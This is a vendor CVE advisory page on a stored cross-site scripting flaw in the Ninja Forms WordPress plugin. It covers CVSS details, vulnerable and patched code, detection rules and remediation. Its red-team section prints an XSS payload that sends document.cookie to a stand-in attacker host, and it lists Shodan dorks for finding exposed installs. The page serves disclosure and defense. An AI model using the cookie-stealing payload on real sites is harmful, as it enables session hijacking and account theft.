☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Forms logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2561

CVE-2025-2561 Cross-Site Scripting in Ninja forms
📅 PUBLISHED: 2025-05-19 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2561 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ninja Forms WordPress plugin, affecting versions prior to 3.10.1. This flaw allows high-privilege users (e.g., administrators) to inject malicious scripts into plugin settings, which are then stored and executed when other administrators view the settings page. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed for super admins, as it bypasses this restriction.

The vulnerability stems from insufficient sanitization and escaping of plugin settings. An attacker with admin-level access can inject arbitrary JavaScript, leading to session hijacking, credential theft, or further compromise of the WordPress instance. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector is estimated as CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Ninja Forms WordPress plugin, distributed via the official WordPress plugin repository. Users are advised to update to version 3.10.1 or later. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – The attacker must have admin-level access.
  • User Interaction (UI): Required (R) – A victim admin must view the settings page.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium (estimated CVSS 4.1). The requirement for high privileges reduces the risk, but the potential for stored XSS in a multisite environment increases the impact.

Deep Dive & Mechanics

The vulnerability exists in the Ninja Forms plugin's settings page. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and later rendering it in the admin interface. Specifically, settings fields that accept HTML or text are not filtered, allowing an admin to inject JavaScript payloads.

Attack Flow:

  1. An attacker with admin privileges navigates to the Ninja Forms settings page.
  2. The attacker injects a malicious JavaScript payload into a vulnerable settings field (e.g., a custom label or description).
  3. The plugin stores the payload in the WordPress database without proper sanitization.
  4. When another admin (or the same admin) views the settings page, the payload is rendered and executed in their browser.
  5. The payload can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or print functions without applying esc_html() or wp_kses() to sanitize output. The input is also not validated using sanitize_text_field() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (version < 3.10.1):

// In settings page rendering
echo '<input type="text" name="ninja_forms_setting" value="' . $setting_value . '" />';

Here, $setting_value is output directly without escaping.

Patched Code (version 3.10.1):

// In settings page rendering
echo '<input type="text" name="ninja_forms_setting" value="' . esc_attr( $setting_value ) . '" />';

The esc_attr() function escapes the value, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress instance with Ninja Forms plugin version < 3.10.1.
  • Admin-level credentials.

Steps:

  1. Log in as an admin.
  2. Navigate to Ninja Forms → Settings.
  3. Locate a vulnerable field (e.g., "Success Message" or "Label").
  4. Inject the following payload:
    <script>alert('XSS');</script>
    
  5. Save the settings.
  6. When another admin views the settings page, the script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

  • Monitor for unusual changes to Ninja Forms settings by admin users.
  • Look for JavaScript payloads in settings fields via database queries.
  • Use WAF rules to block common XSS patterns in admin POST requests.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name LIKE '%ninja_forms%' AND option_value LIKE '%<script%';

Log Analysis:

  • Check WordPress audit logs for changes to Ninja Forms settings.
  • Look for HTTP requests to /wp-admin/admin.php?page=ninja-forms with suspicious POST data.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/ninja-forms/ninja-forms.php (version < 3.10.1)
  • Database: wp_options table entries containing <script> tags in ninja_forms options.
  • Network: Outbound connections to attacker-controlled domains from admin browsers.
  • Logs: POST requests to /wp-admin/admin.php?page=ninja-forms with XSS payloads.

Detection Engineering

YARA Rule

rule Detect_NinjaForms_XSS_Payload {
    meta:
        description = "Detects XSS payloads in Ninja Forms settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2561"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $ninja_option = /ninja_forms/i
    condition:
        $ninja_option and $xss_payload
}

Sigma Rule

title: Ninja Forms Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Ninja Forms settings
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2561
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: option_update
        option_name|contains: ninja_forms
        option_value|contains: 
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2561 Ninja Forms Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=ninja-forms"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Ninja Forms plugin to version 3.10.1 or later.
  2. Review and sanitize all existing Ninja Forms settings for malicious content.
  3. Reset admin passwords if compromise is suspected.

Long-term Measures:

  • Implement Content Security Policy (CSP) headers to mitigate XSS.
  • Restrict admin access to trusted users only.
  • Enable WordPress audit logging to track changes.
  • Use a Web Application Firewall (WAF) with XSS rules.

Workaround (if patching is not possible):

  • Disable the Ninja Forms plugin temporarily.
  • Use a different form plugin that is actively maintained.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Ninja Forms"
http.html:"ninja-forms"
http.html:"ninja_forms"
http.html:"ninjaforms"
http.html:"ninja-forms-settings"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2561/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.